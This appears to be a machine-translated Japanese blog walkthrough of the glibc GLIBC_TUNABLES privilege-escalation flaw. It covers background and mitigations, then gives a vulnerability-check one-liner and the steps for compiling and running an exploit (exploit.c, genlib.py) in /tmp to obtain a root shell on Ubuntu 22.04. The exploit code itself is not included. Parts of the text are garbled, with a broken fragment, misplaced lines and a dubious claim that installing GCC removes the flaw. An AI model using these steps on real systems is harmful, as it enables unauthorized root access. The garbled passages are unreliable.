GNU Cライブラリ(GLIBC)は、GNUシステムのCライブラリとして機能し、Linuxベースのシステムに不可欠です。 GLIBCは、そのコアで、システム呼び出しやOpen、Malloc、PrintF、Exitなどの一般的な機能など、プログラムの重要な機能を定義しています。 GLIBCの重要なコンポーネントである動的ローダーは、共有ライブラリを管理し、実行時にリンクすることにより、プログラムの準備と実行において重要な役割を果たします。
再コンパイルなしでユーザーをエンパワーするために導入されたGLIBC_TUNABLES環境変数により、ユーザーは実行時にGLIBCの動作を変更できます。パフォーマンスと動作のパラメーターを調整し、アプリケーションの起動に影響を与える手段を提供します。
動的ローダーのGLIBC_TUNABLESの処理におけるバッファオーバーフローの脆弱性は、重大なセキュリティリスクをもたらします。搾取は地元の攻撃者に特権を高め、完全なルートアクセスにつながる可能性があります。 Fedora、Ubuntu、Debianなどの主要な分配に関する搾取の成功は、深刻さと広範な影響を強調しています。
この脆弱性の誤用または搾取は、システムのパフォーマンス、信頼性、セキュリティに影響を与える可能性があります。エクスプロイトの詳細は差し控えられますが、バッファオーバーフローはすぐにデータのみの攻撃に変換できるため、リスクは差し迫っています。 GLIBCを使用した一般的なLinux分布は影響を受けやすく、迅速な認識と緩和の必要性を強調しています。
割り当て:2023年10月3日
タイプ:ローカル特権エスカレーション
影響を受けるバージョン:GLIBC 2.34以降
分布:Rhel、Ubuntu、Fedora、Debian、Amazon Linux、Gentooなど
アップグレード:GLIBCの更新を迅速に適用します。
モニター:セキュリティアドバイザリーについて情報を提供してください。
レビュー:アプリケーションでGLIBC_TUNABLESの使用を評価します。
監査:疑わしい活動についてシステムログを調べます。
ubuntu 22.04 ubuntu glibc 2.35-0ubuntu3.1 su from util-linux 2.37.2 aslr on on
Virtual Machineを作成するためにUbuntu(バージョン22.04.1)ISOを使用しました
インストールが成功した後、何も更新する必要はありませんが、GITとGNU Binutilsパッケージはシステムにはないため、インストールします。ExploitPythonスクリプトをコンパイルすると、エラーに直面します。
これらのコマンドを使用することによって:
$ sudo apt install git
$ sudo apt install binutils
脆弱かどうかを確認してください
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)
を出力すると、脆弱です。
GNU Cライブラリ(GLIBC)に関連付けられていることが多いダイナミックリンカー/ローダーのバージョンを確認してください
$ ldd --version
出力はGLIBCのバージョンを提供します
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
私たちのマシンが脆弱であり、ルートの特権をエスカレートする準備ができていることがわかったので
注:GCCをマシンにインストールしないでください。インストールすると、脆弱性が失われるため、スクリプトは機能しません。
GCCがインストールされていないため、ホストマシンにCプログラムをコンパイルしてからゲストマシンにインポートする必要があるためです。
このコマンドでCプログラムをコンパイルできます
$ gcc exploit.c -o (outputname)
Cプログラムの出力ファイルをインポートした後、Python(Genlib.py)スクリプトもインポートします。
Pythonスクリプト
$ python3 genlib.py
をコンパイルします
「 "" 'フォルダーが作成された後)。
ユーザーがスクリプトとプログラムを実行できるように、これを /TMPフォルダーで行います
最後に、ルートの特権をエスカレートするためにプログラムを実行します
$ ./(nameoftheprogram)
時間がかかり、ルートシェルが得られます。
エクスプロイトではなく、力を与えるために安全です!
参考文献: